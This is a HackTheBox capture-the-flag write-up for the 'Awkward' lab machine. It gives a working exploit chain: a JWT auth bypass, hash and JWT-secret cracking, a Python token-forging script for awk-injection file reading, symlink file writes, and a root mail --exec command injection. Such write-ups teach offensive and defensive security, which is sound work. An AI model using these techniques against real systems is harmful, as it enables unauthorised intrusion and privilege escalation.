HTB: Awkward Writeup
Awkward - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Awkward |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Awkward is a Vue/Node.js-backed HR and e-commerce stack sitting behind an Nginx front door, and every stage of the chain hinges on the same root cause: application logic that trusts input it never actually validated. A JWT auth-check that fails open when the auth cookie is simply absent leaks a staff hash dump; a weak JWT signing secret turns the token into a fully attacker-controlled object; and that object gets concatenated straight into a server-side awk command, giving arbitrary file read. On the box, a world-writable web directory pair repeats the same class of mistake — one input gets validated, the other doesn’t — and that gap becomes a symlink-driven arbitrary file write into a CSV that root’s mail notifier parses unsafely, handing over a root-equivalent command execution primitive via GTFOBins.
TL;DR: Missing-cookie auth bypass on /api/staff-details → cracked SHA-256 staff hash (christopher.jones:chris123) → cracked JWT secret (123beany123) → forged JWT username field breaks out of a server-side awk filter (LFI) → read bean’s .bashrc/backup_home.sh → pulled bean_backup_final.tar.gz → plaintext credentials recovered from a cached xpad note (bean.hill:014mrbeanrules!#P) → SSH as bean (user flag) → world-writable /var/www/store/{cart,product-details} → symlink cart/fakecart to leave_requests.csv → poisoned CSV line triggers a mail -s ... --exec GTFOBins injection in root’s inotify-driven mail script → root (root flag).
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.XResults:
22/tcp— OpenSSH80/tcp— nginx, redirects tohat-valley.htb
# pin the vhost so the redirect resolves locallyecho "10.10.11.X hat-valley.htb" | sudo tee -a /etc/hostsService Enumeration
hat-valley.htb is a Vue.js single-page app. Since Vue ships its route/component source client-side, the compiled JS bundles are readable straight from the browser dev tools or a quick curl + grep for API paths — this is what surfaces the /api/staff-details endpoint later abused for the auth bypass.
A vhost sweep against the base domain turned up a second virtual host:
gobuster vhost -u http://hat-valley.htb -w /usr/share/wordlists/vhosts.txt --append-domainResult: store.hat-valley.htb — sitting behind HTTP Basic Auth, so it goes on the “come back once we have creds” list.
echo "10.10.11.X store.hat-valley.htb" | sudo tee -a /etc/hostsVulnerability Assessment
- Cookie-conditional JWT validation on
/api/staff-details— looks like an auth-bypass-by-omission bug. - Staff hash dump reachable pre-auth once the bypass lands.
- JWT signed with a guessable secret → full token forgery once cracked.
- Server-side
awkinvocation building its filter from a JWT-controlled field → command injection surface. store.hat-valley.htbgated by Basic Auth — needs valid creds.
Initial Foothold
Exploitation Path
Step 1 — Auth bypass on /api/staff-details
Hitting the endpoint normally returns a JWT validation error, which is enough to fingerprint cookie-parser + jsonwebtoken on the backend. The bug is in the order of the checks: the server only runs jwt.verify() — and only sets its authFailed flag — if a token cookie is present at all. Strip the cookie entirely instead of forging a bad one, and the check is skipped outright:
// reconstructed server logic — explains WHY the bypass worksconst user_token = req.cookies.tokenvar authFailed = falseif (user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if (!decodedToken.username) { authFailed = true }}if (authFailed) { return res.status(401).json({ Error: "Invalid Token" })}// authFailed is still false here if there was no cookie at all — request proceedsThis is the same class of bug as OMIGOD (CVE-2021-38647) — an unrelated piece of software, but the identical logic flaw: “validate if present” gets implemented instead of “require and validate.”
# request the endpoint with NO token cookie set at all (not even an empty one)curl -s http://hat-valley.htb/api/staff-detailsThe response dumps staff records with SHA-256 password hashes.
Step 2 — Crack the staff hashes
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 hashesResult: christopher.jones:chris123
Step 3 — Log in, crack the JWT secret
Logging into the HR portal with christopher.jones:chris123 issues a signed JWT. That JWT itself is crackable offline:
john --wordlist=/usr/share/wordlists/rockyou.txt jwtResult: signing secret = 123beany123 — enough to mint arbitrary, validly-signed tokens from scratch.
Step 4 — LFI via awk injection in the forged JWT
The /api/all-leave endpoint decodes the JWT, pulls username, and drops it straight into a server-side awk filter (awk '/<user>/' leave_requests.csv) with no sanitization. Since the secret is known, the username claim is fully attacker-controlled — breaking out of the regex with a quote lets an arbitrary file path get read via awk’s own getline-from-shell-command style trick, GTFOBins-style:
import jwt, requests, sys
SECRET = "123beany123"
# breaking out of the awk filter regex: /' <target file> '/dud# the trailing 'dud' pattern ensures only the target file prints, not the CSV rowspayload = {"username": f"/' {sys.argv[1]} '/dud", "iat": "1644922420"}token = jwt.encode(payload, SECRET, algorithm="HS256")
r = requests.get( "http://hat-valley.htb/api/all-leave", cookies={"token": token},)print(r.text)python3 lfi.py /etc/passwdReading /etc/passwd confirmed non-root users worth chasing. Pulling bean’s .bashrc turned up a custom alias pointing at backup_home.sh, and reading that script revealed the path to a home-directory backup archive. Swapping the script’s print for a raw byte write pulled the archive down directly:
# same LFI primitive, write raw bytes instead of decoding as textr = requests.get( "http://hat-valley.htb/api/all-leave", cookies={"token": token},)with open("bean_backup_final.tar.gz", "wb") as f: f.write(r.content)Step 5 — Unpack the backup, recover plaintext creds
tar -xvf bean_backup_final.tar.gz # nested archivetar -xvf bean_backup.tar.gz # yields bean's home directory treeBuried in the extracted tree, .config/xpad/content-DS1ZS1 — a saved sticky-note file from the xpad GTK applet — held a plaintext credential: bean.hill:014mrbeanrules!#P. xpad stores its notes unencrypted on disk, which is exactly why a home-directory backup is such a soft target.
ssh bean.hill@10.10.11.X# password: 014mrbeanrules!#PUser Flag: <redacted>Privilege Escalation
With a shell as bean, the local web root became reachable directly instead of only through the API. Enumerating /var/www/store turned up two directories with lax permissions:
ls -la /var/www/store/# cart/ drwxrwxrwx# product-details/ drwxrwxrwxReading cart_actions.php’s add_item action showed the bug: the code validates that item (the product file) is a legitimate store item before touching it, but never validates that user (the cart file it’s about to append to) is anything sensible — it just shells out to head/tail/system() against whatever path is handed in:
// cart_actions.php — add_item (abbreviated)if (checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) { if (!file_exists("{$STORE_HOME}cart/{$user_id}")) { system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}"); } // appends line 2 of the (validated) product file into the (UNVALIDATED) cart file system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");}Because cart/ is world-writable, bean can pre-create cart/{user_id} as a symlink to any file www-data can write to — the PHP only checks file_exists(), not whether the target is a real cart file. That turns “append the second line of a store product” into “append an attacker-chosen line to an arbitrary file.”
Step 6 — Symlink the cart target to the leave-request CSV
ln -s /var/www/private/leave_requests.csv /var/www/store/cart/fakecartStep 7 — Stage the injection payload as a “product”
cat > /var/www/store/product-details/pwn.txt <<'EOF'***Hat Valley Product***pwned --exec='!/tmp/executeme.sh'EOFLine 2 is what cart_actions.php will append — and it’s a GTFOBins mail/mailx injection primitive: --exec='!<cmd>' runs an arbitrary shell command when mail processes its flags.
Step 8 — Trigger the write
Adding pwn.txt to the fakecart cart via the store’s add-to-cart flow causes the server to append pwned --exec='!/tmp/executeme.sh' directly into /var/www/private/leave_requests.csv — a file bean has no direct write access to, reached purely through the symlink + world-writable directory combo.
Step 9 — Root’s mail notifier executes the payload
Root runs an inotify-watched process against leave_requests.csv: on any change, it fires off mail -s "Leave Request: <username>" christine, building the subject line from the CSV’s (attacker-controlled) username field without quoting it. Because that field is now pwned --exec='!/tmp/executeme.sh', mail parses --exec as a real flag instead of subject text and executes /tmp/executeme.sh as root — the exact GTFOBins mail privilege-escalation entry, reached via CSV poisoning instead of direct command-line access.
Root Flag: <redacted>Attack Chain Summary
Missing-cookie JWT auth bypass (/api/staff-details) → SHA-256 staff hash dump → cracked (christopher.jones:chris123) → HR login → JWT issued → JWT secret cracked (123beany123) → forged JWT username field breaks out of server-side awk filter (LFI) → read /etc/passwd, bean's .bashrc → backup_home.sh path → downloaded bean_backup_final.tar.gz via LFI → nested tar extraction → xpad note leaks plaintext creds (bean.hill:...) → SSH as bean → USER FLAG → world-writable /var/www/store/{cart,product-details} → cart_actions.php validates product, NOT cart target → symlink cart/fakecart → /var/www/private/leave_requests.csv → malicious product line-2 appended into CSV via add-to-cart → root's inotify mail script builds `mail -s` from unquoted CSV field → GTFOBins mail --exec injection → arbitrary command as root → ROOT FLAGTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service discovery |
gobuster | Virtual host enumeration (store.hat-valley.htb) |
john | Cracking staff SHA-256 hash and the JWT signing secret |
Python (pyjwt, requests) | Forging JWTs and driving the awk-injection LFI |
tar | Unpacking the nested bean home-directory backup |
ssh | Shell access as bean |
ln -s | Symlink-based arbitrary file write against leave_requests.csv |
mail (GTFOBins --exec) | Root command execution primitive |
Key Learnings
Techniques Practiced
- Auth-bypass-by-omission: exploiting a check that only runs “if input is present” instead of “input is required”
- Offline cracking of both password hashes and JWT HMAC secrets
- Turning a trusted JWT claim into a server-side command injection primitive (
awkbreakout / LFI) - Mining backup archives and cached applet data (
xpad) for leftover plaintext credentials - Exploiting asymmetric input validation in a world-writable web directory pair via symlink
- GTFOBins-style flag injection (
mail --exec) reached indirectly through unsanitized CSV data
Lessons Learned
- Fail-open auth checks are worse than no auth check — a middleware that only validates a token when one is supplied will happily authorize requests that supply none at all. Always require the credential before deciding whether it’s valid.
- A signed JWT is only as trustworthy as its secret. Once the secret is recovered, every claim in that token — including ones used to build shell commands server-side — becomes fully attacker-controlled.
- String-building a shell command from any user-influenced field is an injection bug, even several validation layers downstream of the original input (JWT → decoded claim →
awkargument). - Convenience automation leaks scope. A
.bashrcalias pointing at a backup script was the thread that led to a full home-directory archive with cached plaintext secrets. - Desktop applet caches (
xpad, and similar sticky-note/clipboard tools) store data in cleartext by design — treat any home directory backup as a credential source, not just a config source. - Validating one side of an operation and not the other creates an asymmetric trust boundary.
cart_actions.phpchecked the product but not the cart target — that single gap, combined with a world-writable directory, was enough for arbitrary file write. - Never interpolate untrusted strings directly into command flags.
mail -s "$username"treated CSV data as trusted, letting a--execvalue get parsed as an option instead of literal text.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- C4rm3l0, Awkward (HackTheBox official writeup, Doc No. D22.100.205), machine authored by coopertim13 — used here for background on the OMIGOD-style auth-bypass logic, JWT/awk injection mechanics, and the
cart_actions.phpsymlink/GTFOBinsmail --execprivilege escalation.